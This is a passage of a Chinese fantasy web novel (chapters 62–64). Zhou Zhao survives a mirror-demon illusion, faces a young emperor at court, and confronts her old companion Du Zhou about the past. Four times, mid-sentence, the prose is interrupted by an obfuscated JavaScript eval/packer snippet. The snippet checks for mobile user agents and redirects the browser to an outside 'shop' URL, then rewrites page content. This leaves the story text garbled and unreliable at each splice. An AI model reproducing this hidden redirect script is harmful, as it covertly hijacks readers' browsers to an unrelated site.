“我□□……”燕飞骂天骂地的声音越来越远。 周昭也跟着笑,她努力咧开嘴,眼泪却顺着两颊往下流。 赵六子不笑了,收了马鞭走到周昭身边,关切道:“阿鸢,你怎么啦?燕飞那小子又说什么浑话了?你等着,俺揍他去!” “不,不是。”周昭拉住他,笑得比哭还难看,“我很高兴。” “哈哈哈哈你真怪,高兴你哭什么?”赵六子大大咧咧勾上周昭的肩,“过两天又要打仗啦,走,咱们兄弟喝酒去!把宁大夫也喊来。” 周昭点点头:“我高兴,你们都还活着。” 赵六子更是笑得不可开交,说道:“阿鸢你喝酒喝傻了吧!咱们不都活得好好的,再说俺还没娶老婆,俺还想长命百岁娶老婆!” 周昭擦干眼泪跟着他走,心想她今天这是怎么了?好端端的哭什么?等会儿要少喝点烧刀子,那玩意儿太烈,她始终喝不习惯。 走着走着,脑海里突然出现一个声音—— “天杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828459|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的周昭!你他妈就这点儿本事吗!还要老子来救你!” 谁在说话? 周昭一个激灵,原来是漫天大雪忽然飘起来,雪珠子挂在她眼睫上,冷的。 “六哥,下雪了。”周昭伸手接了片雪花,赵六子回过头,指着头顶道:“兄弟,你看这天……” 周昭跟着抬头一看,不得了,天竟然裂了个缝! 那条缝隙越来越大,越来越明显,最后竟然完全裂开了! 无数碎片从头顶落下来,赵六子那张娃娃脸被划得鲜血直流,他却毫无知觉似的,愣愣地站在原地用手去摸,“我怎么流血了?” “六哥!快跑!” “快——” 周昭向前奔去,脚底一空,她先是感到一阵让人心口窒息的寒冷,冷到周昭失去知觉大脑空白了一瞬间,她还在愣愣地想:我这是怎么了?随后才察觉到自己掉进了冰窟窿。 “六哥!我......”周昭手脚并用游上去,却看见赵六子的尸体一半沉在水里一半趴在冰面上,睁着双眼直勾勾望着她。 不,望着周昭的不止赵六子一个。 整个冰面上都是浮尸,那些刚刚还笑着的、唱着的,都被大雪裹上一层白霜,静静地望着她。 水像刮骨的刀子,赵六子的血慢慢洇开,一丝一缕像索命的游魂顺着水面而来,灭顶的恐惧袭来,周昭牙齿直打颤,攀着冰面的手一松,掉进深不见底的江水里。 江水被血染红,周昭猛然惊醒——这是镜妖幻境! 周昭想大声喊,想大声叫,但不知怎的,这具身体却好像不是她自己的了,无论怎么努力都动也不动。 ……周昭,你是该死的人。 就这样死掉吧,死在一千多年前,死在跟你并肩作战的那些人身边,死在白茫茫大雪天落个干净。 周昭意识消沉而麻木,久违的窒息感让她获得了前所未有的平静,就这么不住地往下沉,再沉…… …… “殿下!” 周昭觉得这声音熟悉,随之什么东西靠近她,手掌揽住她的腰。不仅声音熟悉,这个人的气息也很熟悉,不仅熟悉,还很…… 奇怪。 唇瓣传来异样的触感,随之,新鲜气体被强硬地灌进肺里。 周昭是被这样渡了两三口气才反应过来,她上辈子这辈子从未与人这般接触过,脑子里像烟花轰的一声炸开,炸得她头晕目眩。 放、放肆! 周昭咬紧牙关,却被轻轻捏住下巴强迫她张开,那人呼吸烫得像烧红的铁,一口接一口渡气进来。 太放肆!朕要杀了你!!! 周昭昏昏沉沉,一会儿是赵六子死在面前的样子,一会儿是那张沉在江底,近在咫尺却看不清的脸。 耳畔风声呼啸,箫鼓咽咽,却有一双手紧紧地拥住她,在这寒天风雪里既轻柔又珍重地拥住她。 周昭冷热交加,猝然睁开眼睛,浑身都湿透了,嘴里还在喃喃:“放、放肆......” “说什么,听不清楚。”陆轻苹伸手,将周昭额头上汗湿的热毛巾换下来。 62. 面圣 周昭缓了许久,陆轻苹这句话才进到她痛得快要裂开的脑子里。 这不是幻境,是处陌生房间。 尚未入冬,屋内却拢着银丝炭,烧得周身暖融融汗津津。周昭眼皮抬了抬,问道:“陆大人,这是哪儿......” 说出口的声音沙哑无比,周昭自己都惊了一跳,陆轻苹眉头皱紧,压低声音道:“宫里。” “宫里?”周昭拂开丫鬟递过来的热茶,正欲发问,陆轻苹又将她按回床上躺好,说道:“你知道最后一个幻境是哪一卦吗?西北,死门。” “......”陆轻苹目光晦暗不明,“看来你运气不太好。” 周昭强作笑意,答道:“确实。” 运气不好是一方面,有人想要她死才是真。 “说来那位‘路过公子’,倒是厉害得很。”陆轻苹继续说道,“能将死门硬生生挪到生门,这才救了你。” 死门挪到生门? 周昭反应过来:“陆大人,你说的生门……不会就是皇宫吧?” 陆轻苹点点头,周昭无论如何都躺不住了,将额上热巾丢开,一连串问道:“那现在是什么情况?镜妖抓到没有?渡......陆大人。” “幻境一破,镜妖被打出原形。”陆轻苹没听出周昭险些说漏嘴,避重就轻,问道:“你猜是谁?” 还能有谁?周昭道:“贵妃。” 陆轻苹赞赏道:“你很聪明。” “百密而一疏。” “说来听听。” 周昭道:“陆大人,你还记得我们之前推测,每个失踪的人或是近期从吴记宝斋买过一样东西,或是去过跟吴记宝斋有生意来往的酒楼茶馆等,但贵妃娘娘,似乎怎么看都跟吴记宝斋没有联系。此为其一。” “陆大人刚才所说生门为其二,我虽不太懂阴阳八卦阵,但想来跟寻常八卦阵类似,要想发挥效力最大,布阵者需坐阵其中。这并不是说生门就绝对是凶手,八卦阵高手能自断吉凶,而我们遇到的这位却一直待在生门不出来,我猜是在忌惮什么,不敢出来。” 前半段是周昭一早就疑心的,后半段纯属周昭胡说八道。 幻境已破,渡舟却不在,她跟陆轻苹滞留皇宫,一猜便知宫里发生了件大事,以至于没人有空管他们,但又不能先放出去,所以安排了这么个地方暂且看住。 陆轻苹不置可否,说道:“真没想到,会是贵妃。” 陆轻苹前些日子被贬跟贵妃或多或少有些关系,周昭看来这倒是件好事儿。她又问:“其余人呢?” 陆轻苹道:“国师大人被圣上叫去了,走之前安排我们在这儿等着。至于那位‘路过公子’......” 他颇有些神情莫测地笑说:“仗着年纪小,很不怕死。” “何来此一说?” “他将死门转到皇宫,占了生门一位且不说。皇宫是什么地方,路过的鸟都得夹着嗓子不敢高声叫,他倒好,绑了镜妖大摇大摆闯进宫里,要问罪圣上的女人,幸亏被国师拦下强送出宫了。不过那镜妖可惨了,被砸镜子那一下打得险些魂飞魄散。” 陆轻苹眸光一转,状似不经意地问道:“……你说,镜妖真能凭空捏造一个谁也没见过的幻境吗?” 周昭心里咯噔一下,恰好此时来了位上了年纪的白面太监,笑说道:“陆大人,圣上有请。” 陆轻苹问候道:“劳烦高公公亲自跑一趟。敢问是传我一人,还是......” 高公公又笑:“圣上说了,这里头有多少请多少。” 这里的构造跟大周皇宫很像,周昭走过宫道,穿过漆红宫墙,有那么几个瞬间还当自己被众人拥簇着走在盛都皇城。 高公公在前面带路,左右各有一个提灯笼的小太监,皆弯着腰垂着眼默不作声。 少顷,来到一座金碧辉煌的大殿前,上提匾额“华阳殿”。 殿内点着烛火,隔着窗棂只看见人影绰绰,却安静得没什么人气儿。 陆轻苹同她在殿外驻足,高公公躬身进去传话,没多久又迈着碎步出来,略一欠身道:“二位,请吧。” 周昭先是闻到一阵儿宫里惯用的龙涎香,然后才看到龙椅上坐着位年轻帝王。 宣朝的皇帝很年轻,年轻就容易藏不住事儿,心思都写在脸上。其实当年周昭坐上这个位子跟他差不多大,但周昭是战场上滚出来的,不好相提并论。 赵允城身量不算魁梧,一张脸温和无害,眉眼依稀能看出生养他的那位女子相貌。 小皇帝端坐在龙椅上,并无为王者该有的气度,反而有些深宫里养出来的奢靡颓废之气。 殿内不过寥寥数人。 除了赵允城、高公公,中间跪着陆轻苹二人,左边站着个长须中年男子,周昭并不认识。 右边是国师押着一手脚被缚,衣衫带血形容憔悴的女子,想必就是贵妃。沈云起衣服都没来得及换,还是红袍官服,看向周昭的眼神却有几分古怪。 赵允城扫了眼阶下跪着的陆轻苹,目光却停在周昭身上,声音自上而下传过来:“你,上前来。” 周昭起身,抬脚上前。 立在皇帝身边服侍的高公公却不住地冲她使眼色,周昭不明所以,不是叫她上前吗? 赵允城好奇打量周昭,身体前倾道:“你跟别人不一样。见到朕的人,都是低着头,朕叫他们抬头才抬头。但朕见你一路走来昂首挺胸毫不露怯,你不怕朕吗?” 周昭知道问题出在哪儿了——习惯。 周昭从小在宫里长大,一应礼仪就如家常便饭。但她那时多是上位者,身份调转,压根没注意到这些细枝末节。 但此刻再低头反而不妥,周昭当即撩袍落跪,脊背挺得笔直,答道:“回圣上的话,小民早就听说当今天子宅心仁厚,今日承蒙圣恩,得见龙颜,小民心中感激。而圣人是百姓君父,见君父应该欢喜,哪有害怕的道理?” 周昭这话虽然不卑不亢,却是投机取巧。 若圣上爱听便好,若圣上因此厌她油嘴滑舌也并无可能。高公公拭了拭额头汗珠子,眼瞅着圣上正为贵妃娘娘一事心烦,却又来了个一身硬骨头的主儿。 小皇帝像是听见什么笑话,脸上的表情既不像被哄高兴了,也不像讨厌这番做派,反而指着周昭哈哈大笑道:“忠贤,你听见没有?她说朕是君父,那你岂不是要叫我父亲,叫静婉母亲了?” 高忠贤怎么敢答,伏在地上的镜妖却被逗得直笑。国师望那妖物一眼,站出来道:“圣上,贵妃娘娘是镜妖变化,这已是板上钉钉之事,怎可儿戏?” 小皇帝一脸扫兴,不情不愿道:“国师,朕就是开个玩笑。”他又问:“陆爱卿何在?也站出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841162|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给朕瞧瞧。” 陆轻苹应了声是,起身抬头。 小皇帝点点头,称赞道:“陆爱卿一表人才,上回朕罚你,心中可有怨气?” “臣不敢。” 小皇帝笑说:“那如果朕这回还要罚你,你可有怨?” 陆轻苹轻轻抿唇,又回:“臣,不敢。” 小皇帝分明就是想包庇贵妃,放着那么多条人命不管,却糊涂地偏信一个妖物,国师忍不住道:“圣上,陆大人此番抓妖殚精竭虑,是为圣上也是为九洲城黎明百姓,若是再罚,只怕寒了天下人心。” 小皇帝嘴里嘟囔几句,竟说:“但朕就喜欢静婉,那么......如果你们能给朕再找来一个跟静婉一样好的女子,朕就不罚他。” 简直荒唐...... 青砖冰冷,寒意顺着双膝往骨头里渗。 周昭已跪了许久,小皇帝却转头将她忘了,跟着国师一来一回说起话来。 跪得正艰难,赵允城突然看向她:“这样吧,朕看她就很不错。” 遭了。 周昭陡然一惊,她醒过来便是恍恍惚惚,竟然忘了易容丹药效早过了时辰。 难怪陆轻苹那时要说那样的话,沈云起看自己也透着古怪,二人分明是对她起了疑心。 赵允城指着周昭,眼中带了点儿顽劣的笑,让人分辨不出他是故意为之,还是真的没脑子,笑说:“要朕不罚陆爱卿可以,她得代替静婉,留在宫里陪朕玩儿。” 众人哗然,周昭更是震惊不已。 膝盖的疼痛一鼓作气窜上来,像冰窖似的浑身发冷。 此时殿外传来一阵不紧不慢的脚步声,一个低沉的声音紧随其后—— “玩够没有?” 黑靴落在青砖上,几个鼓点之后,熟悉的玄色外袍与周昭擦身而过之际,一只手隔着衣袍将周昭不着痕迹地从地上带起,那双黑靴继而又旁若无人地往前去了。 是渡舟。 周昭抬眸看去,他又换了张人皮。 小皇帝害怕地缩了缩脖子,唤道:“皇叔。” 渡舟解了大氅随手扔给高公公,对方忙不迭接住,一个小太监上前服侍渡舟落座。 渡舟目光沉沉,殿内因着他突然闯入而鸦雀无声,只有陆野萍神情颇有几分不满和文人的傲气。 渡舟开口道:“镜妖抓了,贵妃也找到了,皇帝不下令诛杀,还在等什么?” 小皇帝犹犹豫豫道:“可是皇叔......” 渡舟不耐烦道:“我给你两个选择,你自己杀,或者我帮你杀。” 小皇帝声音带了点儿哭腔,愁眉苦脸道:“那......还是朕来,朕跟静婉好歹夫妻一场......” 一直默立在皇帝左边那位长须男子突然站出来,说道:“圣上,牵机营权力太大,眼高于顶,对圣上更是毫无为人臣子的......” 渡舟打断他,挑眉道:“丞相,谁说我是臣子了?” 丞相一时无言,片刻后跪地俯首道:“圣上!他在您眼前都敢如此放肆,果然是我大宣朝之害啊!还望圣上早下决断,万不可被小人蒙蔽!牵机营近些年愈发猖獗,目无律法,他们今日敢陷害贵妃娘娘是妖,他日就敢说您不配为君!圣上,您万不可再认贼作父,否则,我大宣朝早晚有一日要毁在小人手里啊圣上!” 63. 冷吗 小皇帝仿佛只听到“陷害”二字,急切问道:“丞相,你说静婉是无辜的?” 丞相答道:“贵妃娘娘久居深宫从未踏出宫门,怎么可能害人!” 小皇帝又扭头看向渡舟,一脸天真问道:“皇叔,丞相说的是真的吗?” 渡舟语气不善:“你说呢?” 这回轮到陆野萍听不下去了,俯身拜道:“圣上可愿听下官一言。” 小皇帝道:“陆爱卿请讲。” 陆野萍说道:“贵妃确是镜妖不假,杀人偿命,天经地义。再说一只妖物,扒了那层美貌人皮,其实是吃人不吐骨头的邪祟,十分危险。圣上是一国之君,更应保重龙体才是。” “陆爱卿继续。” 陆爱卿缓了口气,看了渡舟一眼,道:“至于牵机营……目无君父,只手遮天,长此以往朝纲必乱。臣以为,当重罚。” 丞相附和道:“陆大人说得对!就算真是镜妖,那也是国师跟陆大人抓来的,牵机营亦有办事不力之嫌。” 小皇帝转向沈云起,问道:“国师怎么看?” “……”沈云起低着头道,“全凭圣上裁断。” 让他裁断,赵允城反倒六神无主了,一会儿看看底下的陆轻苹,一会儿看看渡舟,最后将目光又落在周昭身上,冷不丁道:“你说。” 周昭上辈子杀过的人,兴许比赵允城见过的人都多,她登基后一度以铁血手腕推行新政,朝堂之上的弯弯绕于周昭而言,简直是家常便饭。 周昭故作思索地沉吟片刻,微笑道:“小民只知道,圣上被妖邪蒙蔽,发现后为民除妖,乃天下之幸事。” 赵允城满意点头,又问渡舟:“皇叔以为如何?此次抓那镜妖,虽然交给皇叔在办,但抓来邪祟的到底是陆大人……” 渡舟淡淡道:“随你。” 丞相适时进言道:“圣上,老臣以为,应当立即收回牵机营掌管九洲城边防之兵权!” 赵允城不说好也不说不好,还是问渡舟:“皇叔,兵权该交给谁?” 渡舟看上去对什么都毫无兴趣,还是道:“随你。” 赵允城方才问得恳切,此刻得了答案,又笑道:“那就交给陆爱卿吧。即日起,你就是禁军总督。” 到底是年轻了,心急了些,周昭想。 “这……”陆轻苹还要推辞,赵允城却摆手示意他莫要再说。 渡舟听到此处站起身,赵允城示意高公公递上大氅,道:“皇叔慢走。” 众人退下,出了宫殿,一阵冷风吹在身上。 周昭打了个哆嗦,一只带着点儿微末体温的大氅忽然落在她肩上,渡舟毫不避讳地走到她面前,低着头一言不发将衣带系好。 陆轻苹经过之时,神情复杂地看了一眼,后知后觉自己是被周昭摆了第二道,于是头也不回地走了。 渡舟将周昭裹得严严实实,末了抬头看她一眼,轻轻叹了口气,说道:“夜里黑,我牵着你走。” 渡舟说完,隔着衣袖握住周昭手腕,不算逾矩,周昭却觉得腕上皮肤滚烫。不知是刚才在殿内待久了闷着了,还是又想起幻境中的荒唐事来。 那到底是真的还是假的? 若是真的,那人到底是不是…… 周昭心烦意乱,又不好直接问渡舟,犹豫间脚下已经迈开步子再无回头路,只好由着渡舟牵着,在这沉寂而又偌大的皇宫里缓慢地走。 渡舟既没过问周昭为什么要避过牵机营去找陆轻苹,也没过问周昭为什么全都想起来了却要装傻。 周昭不难猜渡舟一定早就看出来了,彼时没问,现在更不会再问了。 不过周昭顶着上辈子这张脸被当场抓包,总归有点尴尬,因此不好说什么。 走了阵子,许是太沉默,渡舟缓缓开口道:“赵允城扮猪吃老虎,跟丞相一个唱红脸一个唱白脸,这回也怪我考虑不周……” 周昭自然也看出小皇帝心思不纯,但这事儿要看怎么想。 如果站在陆轻苹之类清流来看,牵机营就是国之祸害枕边猛虎。 如果从利国利民来说,据周昭所知牵机营也没干什么坏事,顶多是渡舟本人行事出格不加收敛。 “牵机营被夺了边防兵权,下一步,皇帝估计要把矛头对准你了。” 渡舟满不在乎道:“随便,赵允城是我看着长大的小子,虽然翅膀硬了,还能飞到哪儿去。” 周昭心说那可不一定,转开话题道:“镜妖抓到了,人还有得救吗?” 渡舟道:“只要能找到镜妖藏起来的镜子,也许有救。我留了人在宫里,最晚天一亮会有结果。” 牵机营能只手遮天,宫里自然有渡舟的人。周昭不便过问,渡舟想了想又补充道:“皇城里水浑。” 言下之意,是让周昭莫要蹚这趟浑水。 周昭含糊不清地嗯了一声,渡舟又道:“还冷吗?” “不冷。” “……我是问,那年汴江的水,殿下如今还觉得冷吗?” ——到底是说回从前。 这种感觉很奇怪。 明明渡舟跟她并非多亲的人,但好歹隔着千百年光阴,如今留下的也只有渡舟。 如今渡舟不过问她一句“汴江的水还冷吗”,周昭喉头却情难自禁涌上一股酸意,直冲眼眶底下。 渡舟小心牵着她,在月光底下一边走,一边自顾自说低声说道:“……殿下,你膝盖不好,那是经年不治的旧伤,我一时半会儿也没法子根治。不过总能治好,但我能治,也经不住殿下不爱惜。” 渡舟一语双关,想着周昭那么聪明一个人,自然能听明白。 但听不听明白是一回事儿,听不听得进去又是一回事儿。 周昭一直低着头不吭声,渡舟又说:“往后别再给人跪着了,殿下……你是那么金贵的一个人。” 他后半句话有些沙哑,像是从喉咙里磨出来似的。周昭停下脚步,抬起眸子,脸上挂着这些时日装久了的假笑,淡淡道:“十六,你当年是不是利用我?” 她问得突然,渡舟跟着停步,虽然是另一张陌生的皮,但那双眼睛里的东西总不会变。 渡舟沉默良久,点了点头。 周昭本以为早就心硬如铁,还是有什么地方忍不住针扎似的瑟缩了一下。 虽然上辈子就知道,渡舟接近她是为了她那一身毕方神血,但猜测总不是真的,还留有余地,渡舟却亲自把这点儿余地给踩死了。 “……所以,现在也是吗?”周昭抽回手,假笑显得有些凄凉,“可我已经没有神血,如你所说,血流干了。” “……”渡舟眸光微暗,“殿下原来是这么看我的。” 周昭道:“我怎么看,不重要。十六,好歹相识一场。不管你从前为什么利用我,或是如今也还要利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845509|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,我总记着你曾救我性命。所以我不在乎,我们两清了。不过……” 周昭一口气说完,心里有些莫名发堵,停顿片刻,才平静道:“十六,你不该将我拉回这世道,我是该死的人,别平白污了这人间清白。还有,别再叫我殿下......周昭早死了。” “……重要。” “什么?” “……没什么。”渡舟摇了摇头,脸色不大好看。 这一夜实在太漫长,周昭在床上辗转反侧,终于捱到天亮。 她估摸着时间也该到了,刚要推门,却迎面撞上渡舟。渡舟正欲扣门的手还停在半空,二人对视一眼,都很默契地假装昨晚无事发生。 “睡得好不好?” “镜子都找到了?” 二人异口同声,渡舟点点头,说道:“我带你去。” 皇城守卫虽然换了波新人,渡舟却还是来去自如,哪怕是诏狱也想进就进。 周昭也是看了才知道,皇城有一处专门关押妖物之类的诏狱。因为是妖,关押之所靠的是法阵枷锁,守备并不森严。 牢房早站着一人候着,周昭瞧那人背影熟悉,待转过身来,果然是旧相识。 上官合了折扇,冲周昭眨眨眼睛,道:“主君,镜子都找到了。” 折扇指了指隔壁,里面堆着五花八门几十样“镜子”。 “大人真厉害。”角落里传来一声娇笑,镜妖一身破破烂烂贵妃宫装,美艳的脸上还残留着些许少女的天真。 渡舟没有理会,转而走向隔壁,略扫一眼,将腰间昆仲抽出浮在半空。 只见他横箫身前,手指在两只箫孔上交替按了按,昆仲阵阵短音嗡鸣,青白之中却透出丝丝缕缕的红。 少顷,无数花瓣自昆仲飞出,化作一团白光飞入镜中不见了。 原来这骨箫是这么用的...... 周昭不由问道:“花瓣怎么救人呢?” “碰碰运气。”渡舟解释道,“这些花瓣能代替我进入幻境,将幻境之中一切能倒影之物打碎。届时如果人还活着,那就有救。” 说完,渡舟闭上眼睛。 昆仲颜色愈发鲜红,几乎看不见原本的青白之色。 周昭退到一旁,小声问道:“上官大人最近很忙吗?好久不见你了。” 上官笑了笑,神神秘秘道:“帮你找贺金牙。” “找到了?” “那是自然。”上官又道,“你同主君一道来的,他没告诉你吗?就在昨夜......” 渡舟睁开眼睛,二人皆住了口。 昆仲又恢复本来的颜色落回渡舟掌心,周昭见渡舟脚边散落着许多花瓣,颜色发黑悉数枯萎,想必这救人的法门会耗费渡舟不少法力。 渡舟收了昆仲,道:“一半一半。” 上官看了眼镜妖,叹息道:“能救下一半也好,时间太久了。” 渡舟转身道:“要看怎么算。如果活着就算,那就是一半一半。” 周昭问道:“什么意思?” 隔壁镜妖突然发笑,渡舟充耳不闻,继续说:“意思是,活着的人都失了魂魄,找不回来。” “哈哈哈哈,我还当妖主大人多大的能耐,原来也有找不回魂魄的时候。”镜妖一边玩弄手中发丝,一边嘲弄地看向渡舟手中的骨箫,“你那根骨箫多出来的第九孔,不是能招魂吗?” 64. 隐瞒 渡舟眼神晦暗:“谁告诉你的?” 镜妖答非所问,说道:“同样是妖,大人却帮着人残杀同类,我真为大人感到羞耻。” “用不着你费心羞耻,”周昭转向镜妖,“妖主大人心善,自然有人供他如神佛。” 身后突然传来一声低笑,周昭一时嘴快,面不改色转移话题道:“我且问你,魇鬼怎么找上你的。” 周昭回忆起昨夜幻境中听到的那个泼皮声音,是魇鬼没错。原来渡舟昨夜进宫晚了些,是去抓魇鬼。 镜妖指尖绕着发丝道:“魇鬼是谁?不认识。嘻嘻,兴许他也跟小皇帝一样,看我长得漂亮呢。” 不像装的。 周昭眉心微蹙,渡舟道:“她不敢说谎。” “魇鬼关在哪?我想见他。” 上官合了扇子,说道:“昨夜抓了魇鬼,救下贺金牙,不是又把魇鬼给放了吗?”他看了眼渡舟,声量渐弱。 他们前脚迈出诏狱,身后便传来镜妖的缥缈歌声。她一边踮着脚尖起舞,一边唱着不知名的小曲儿。 “......小娃娃,过家家。掉河里,淹死啦。” “魇鬼愁,疟鬼哭,剩下魍魉不说话。小娃娃,捡石头,分给你我变疙瘩……” 牢房只剩下镜妖和一堆破破烂烂的镜子,她口中小调未停:“……我不要,你收下,槐树人头笑哈哈……” “哈哈哈哈!槐树人头笑哈哈……” 镜妖案告一段落,原来凶手就是贵妃身边的婢女。那婢女本就是妖物所化,却妄想一步登天,贵妃不幸遇害,天子下令诛杀妖邪。 陆轻苹捉妖有功,办案神速,升至禁军总督,主管皇城兵权调度。国师沈云起从旁协助办案有功,特赏良田百亩,房宅数间。 这些事儿就像一阵风从皇城飘向大街小巷,成为了九洲城百姓茶余饭后的谈资。 皇城里的风微妙地转了方向,听说陆轻苹没有接受皇帝赏的宅院,还住在自己的旧所。 但那处地方太小,上门拜访之人又太多,没两天就被踩塌了门槛,陆轻苹干脆闭门谢客,又养病去了。 对外宣称抱病的陆大人,却悄莫声地差人递给周昭一封信。周昭并不奇怪陆轻苹来找自己,她按信上所说到了茶楼,陆轻苹早已在窗边落座。 周昭除了斗笠,道:“陆大人,好久不见。” 陆轻苹看她的眼神有几分古怪,不无刻薄道:“你们牵机营的人,出门都要乔装打扮一番才敢见人吗?” 周昭摇头道:“大人误会了,我不是牵机营的人。” “我亲眼所见,你跟牵机营那位……” 周昭假意咳了一声,避重就轻道:“我只是借住……” 陆轻苹皱眉道:“去那种地方借住?” “对啊,陆大人有更好的地方?我看圣上要赏你那处宅院不错,不如大人收下借我住两天,感激不尽。” 陆轻苹表情略微扭曲,似是没想到周昭如此大言不惭。他喝了口茶,状似不经意道:“那日幻境中有个叫阿鸢的,你也叫这个名字,巧不巧。” “巧。”周昭坦然道,“天下同名之人常有。” 陆轻苹笑说:“确实。” 他不再追问,切回正题:“我还欠你一件事,是什么?” “大人果然言而有信。”周昭端着茶盏却不喝,在手中把玩几下,抬眸道,“我希望大人帮我个忙儿。” 陆轻苹示意她说,周昭道:“大人官至总督,眼下又是圣上身边的红人,从四库里‘借’一份国史出来,应当不难吧?” 虽然周昭说的是借,但其实是要他偷摸着拿出来。 四库是宣朝珍藏皇家文集之所,为此设有专门的管库官员。这本来也没什么,文墨乃天下人共有,所以借借出出常有。 但有一列书是万万不会外借的,那就是国史。 每朝每代都有专门记录国历的史官,朱笔一旦落下不可更改不可销毁,哪怕是皇帝也没有权力涂改。不过话虽如此,总有应对之法。只要严加管控国史流通范围,不就没人知道写了什么吗? 皇帝也会有小心思,谁不希望自己在史册中位列千古明君一栏,而不是遗臭万年的昏君。 这种情况虽然有,但一般没有皇帝敢明目张胆地把无道昏君改写成勤政明君。 因为史书能改,天下悠悠众口却难堵。所以就算是改,都只敢改改细节,大体评价不会偏。 陆轻苹放下茶盏,道:“国史非管库腰牌不能开,你倒是给我出了个难题。” 跟陆轻苹这种人打交道,虽然得常常自惭形秽自我反省,品德是否高尚言行是否得体云云,但有两点很好:话少,不好奇。 周昭接话道:“这样,我原本不知道。” 陆轻苹也不问她到底是真不知道,还是假不知道,想了想又道:“国史那么多,你要看哪一朝?” “大人觉得呢?” 陆轻苹看向窗外道:“史书未必能全信,你费了这么大心思,不如问问牵机营那位。” 周昭记忆有损,从一开始她就是奔着皇宫里的那本史书去的。她不信渡舟,压根没想过问他。 周昭终于喝了口茶,略苦,她道:“我只问一句,这个忙,大人肯不肯帮?” 陆轻苹收回目光,注视着周昭,“我也只说一句,前尘往事,太过执着反而不好。” “劳大人费心。” “等我消息。” 贺家在护城河朝西面儿走不远,贺金牙半靠在软椅上,屋内烧着炭,他还是裹得比其他人多些。 虽然瘦了些,身体倒没受什么大伤。只是被魇鬼附身多日伤了元气,要在家中好生静养些日子。 周昭坐在他对面,贺金牙说起自己这几月的遭遇,就像梦里看花说不真切,什么也记不得,但话还是很多,絮絮叨叨跟周昭讲了许久。 “也不全是忘了……”贺金牙沉吟道,“那鬼似乎在九洲城找什么东西……” 周昭端茶的手微顿,问:“大人还记得找什么吗?” 贺金牙用手敲了几下脑袋,说道:“想不清楚,这儿疼。” 周昭出声宽慰道:“那便不想了,没什么紧要的。” 二人又闲聊了阵子,贺金牙将周昭细细打量许久,才饮了口热茶道:“丫头,我咋觉得还是你从前的模样顺眼些。” 周昭这阵子装傻扮笑多了,如今让她真笑反而笑不出,不尴不尬的弧度咧在唇边,像哭似的丧气。 贺金牙解释道:“现在好看是好看,但总觉着你这张脸过得不大顺心。” 周昭眸光清亮,说道:“大人还当我是从前就好。” 周昭今日来看贺金牙,思来想去还是没有易容。她就这么一个亲近些的人,再往脸上套一副假壳子实在没劲。只说自己从前身上被下了禁制,容貌有变,如今都想起来了,才换回这么个全乎人来。 若是从前,贺金牙必然会打破砂锅问到底。但经过魇鬼这么一遭,心态也变了许多。 “你还叫我一声大人,那就是没变。”贺金牙点点头,意味深长道,“丫头,我捡回一条命,想跟你说句掏心窝子的话,你别怪我多嘴。” “您说。” “从前我总想要升官儿想要发财,还想破案子想抓罪犯,但最近我想通了,人这辈子,说没就没。”贺金牙看着周昭道,“生死之外,无大事。” 若是不想生呢? 周昭沉默片刻,将这句话又咽回肚子里。 从贺家出来,远远地就见着一人撑着伞,站在一棵歪脖子树底下。 江边风大,雪粒子被吹得直往眼睛里钻。 周昭站着不动,那人便撑着伞走过来。 渡舟披着件广袖流云暗纹大氅,发丝用木簪随意束了,走起路来散漫却不轻佻。 他默不作声地将伞骨塞到周昭手心里,解了大氅照例披在周昭肩头,将人从头到脚裹得只露出一张素白的脸来,才又接过伞。 “殿下穿得这样少,旁人见了,还当我牵机营穷到如此地步,连过冬的衣裳都没有了。” 渡舟语气温和,全无责怪之意,但落在周昭耳中却觉得像回到从前,这人也这般拐着弯的说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859831|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 譬如明明是想让她包扎伤口,却说什么“行人岭的妖怪最爱吃她这种细皮嫩肉的小女娃”恐吓她的话。 周昭有样学样道:“大人,我确实没有过冬的衣裳穿,牵机营又不曾给我发月例银子。” 